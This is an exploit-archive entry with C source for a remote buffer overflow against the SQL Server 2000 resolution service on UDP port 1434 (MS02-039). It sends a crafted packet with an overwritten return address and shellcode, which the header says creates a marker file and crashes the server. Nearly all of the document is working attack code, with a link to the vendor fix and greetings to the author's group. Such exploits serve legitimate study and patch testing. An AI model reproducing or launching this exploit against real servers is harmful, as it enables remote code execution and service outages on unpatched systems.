SQL Server 2000 remote buffer overflow exploit. Tested against Win2ksp2. Included shellcode creates the file \scan_sql2k_bo. Fix available here.
d75a40dd02e1ffd0eb5451b02a8c960e2713292b3890483438f4aacc31d79964
/*
SQL Server 2000 Remote Buffer Overflow
by sk@scan-associates.net
bug found by:
David Litchfield
tested on Win2k SP2. shellcode Will create file \scan_sql2k_bo.
sql server will die. so, script kiddie, dun try dis.
created while everyone is bz wif defcon.
greetz to da scan clan, especially to tynon, pokleyzz, wyse and spoonfork. Alphaque and L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO examples.
fix: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp
http://www.scan-associates.net
*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib,"Ws2_32")
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int main(int argc,char *argv[])
{
int s;
char buf2[350];
struct sockaddr_in target;
int EIP = 0x78024e02;
int EAX = 0x42d01e40;
unsigned char forwardjump[]="\x0eb\x0a\x0cc\x0cc\x0cc\x0cc\x0cc\x0cc";
WSADATA WSAData;
BYTE shellcode[] = ""
"\x8B\xF1\x33\xC0\xC7\x06\x5C\x73\x63\x61\xC7\x46\x04\x6E\x5F\x73"
"\x71\xC7\x46\x08\x6C\x32\x6B\x5F\xC7\x46\x0C\x62\x6F\x2E\x41\x88"
"\x46\x0F\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2"
"\x01\x78\xFF\xD0\xB8\xC7\x3E\x01\x78\xFF\xD0";
if (argc!=2)
{
printf("usage: %s ip\n",argv[0]);
return -1;
}
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}
s = socket(AF_INET,SOCK_DGRAM,0);
if(s<0)
return -1;
memset((char *)&target,0,sizeof(target));
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(argv[1]);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(1434);
memset(buf2,0xcc,sizeof(buf2));
buf2[0] = 0x04;
*(unsigned int *)&buf2[97] = EIP;
memcpy(&buf2[101], forwardjump, strlen(forwardjump));
*(unsigned int *)&buf2[109] = EAX;
memcpy(&buf2[113], shellcode, strlen(shellcode));
buf2[1+96+8+strlen(forwardjump)+strlen(shellcode)]=0;
if (sendto(s, buf2, strlen(buf2)+1, 0, &target, sizeof(target)) == SOCKET_ERROR)
printf("Error: sendto() failed.\n");
closesocket(s);
return 0;
}